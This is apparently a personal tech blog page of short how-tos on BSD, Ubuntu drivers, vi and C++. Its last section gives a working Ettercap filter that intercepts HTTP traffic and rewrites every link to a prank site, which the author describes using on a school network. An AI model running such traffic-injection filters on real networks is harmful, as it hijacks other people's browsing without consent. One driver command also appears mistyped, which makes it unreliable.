Welcome to theowned[d0t]org!

This site is meant to serve two purposes: 1) To collect and store various pieces of information or howto documentation I collect over time, and 2) To provide this information freely for anyone that requires it.

-foldingstock

Of Viruses, Trojans, and General Malware

I am often requested to help friends, coworkers, and family "speed up" their Windows computers. Most of the time the computer is running slowly due to some form of malware. What amazes me most is the complete and utter disregard of any care these people take when using the internet.

Some people are complete morons, granted. If you do something, x, and it causes some kind of harm to you, how many times will you repeat this action? For some people, the answer to that question would simply be "yes." People can be really annoying at times.

To quote Agent K from MIB: "A person is smart. People are dumb, panicky animals and you know it."

Fibonacci Sequence

Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be:

1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...

Example:
0 + 1 = 1
1 + 1 = 2
1 + 2 = 3
2 + 3 = 5
...

In order to find the sum of all the even-valued terms in the sequence which do not exceed four million, I used the following C code:

lspci in *BSD

A common question newcomers to *BSD typically ask is "where is lspci?" The simple answer is: install pciutils.

http://mj.ucw.cz/pciutils.html

Ubuntu and TV Tuners

I have a Philips Semiconductors PCI TV Tuner card that I use to watch TV on the computer. Using this card in Ubuntu is a breeze.

lspci reports the following card:

00:0a.0 Multimedia controller: Philips Semiconductors SAA7131/SAA7133/SAA7135 Video Broadcast Decaoder (rev d0)

To use this card, all that is required is to load the drivers:

rmmod saa7134_alsa
rmmod saa7134
modprobe saa3134 card=81

Now load a TV Tuner program, such as "tvtime."

Rounding in C++

I was recently working on a C++ project that required a floating-point number to be converted to a static integer. Unfortunately, C++ does not offer a rounding function. When the floating-point number was converted to an integer, the decimal value was simply dropped.

C++ does offer floor() and ceil(), but I needed something that would accurately round. So, I wrote a simple function that uses floor():

---------------------------------------------
double round(double x)
{
  return double(floor(x + 0.5));
}
---------------------------------------------

VI auto-indent

Edit ~/.exrc and add the following line:

set ai sw=4 wm=5 sm

* ai - This tells vi to use auto-indent for insertions.
* sw=4 - This tells vi to use 4 spaces for each level of indentation in auto-indent mode.
* wm=5 - This tells vi to wrap a line 5 spaces from the right margin.
* sm - This tells vi to show matching parentheses, brackets, and braces in insert mode. When you type a closing parenthesis, bracket, or brace the cursor will briefly jump to the matching parentesis, bracket or brace.

FreeBSD - EEE PC with working Wireless

To get wireless working under FreeBSD on Asus's EEE PC, you must first download the latest madwifi driver:

http://snapshots.madwifi-project.org/madwifi-hal-0.10.5.6/

Download the tarball and transport it to the EEE PC using removable media (USB drive, SD card, etc). Untar the tarball and then run:

# cd madwifi-hal-0.10.5.6-r3879-20081204/hal
# cp -R * /usr/src/sys/contrib/dev/ath/

Now recompile your kernel:

# cd /usr/src
# make buildkernel KERNCONF=GENERIC
# make installkernel KERNCONF=GENERIC

Flash9 running natively in FreeBSD 7.1

Yes, FreeBSD 7.1 has working Flash9 support. To install it on your system:

  • Add linux_enable="YES" to /etc/rc.conf.
  • Add compat.linux.osrelease=2.6.16 to /etc/sysctl.conf.
  • Add OVERRIDE_LINUX_BASE_PORT=f8 to /etc/make.conf.
  • Add this line to /etc/fstab:
    linproc /usr/compat/linux/proc linprocfs rw 0 0


Then run these commands:

# mkdir -p /usr/compat/linux/proc
# mount /usr/compat/linux/proc
# /etc/rc.d/abi start
# /etc/rc.d/sysctl start

Once you have done the above, your system is ready for the installation. Install the following ports:

Ettercap Filters

Below is a simple ettercap filter that I used to pull off a rather funny April fools joke at my school. Basically, the filter intercepts all "a href=" html links and replaces it with the string I specified, www internetisseriousbusiness org.(warning: don't visit that link unless you like annoying popups and rickrolls)

The code for the filter:

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("<a href=", "<a href="internetisseriousbusiness.org" ");
replace("<A HREF=", "<a href="internetisseriousbusiness.org" ");
msg("Filter Ran.\n");
}

To actually use this, you will need to convert the code to a usable format.

Syndicate content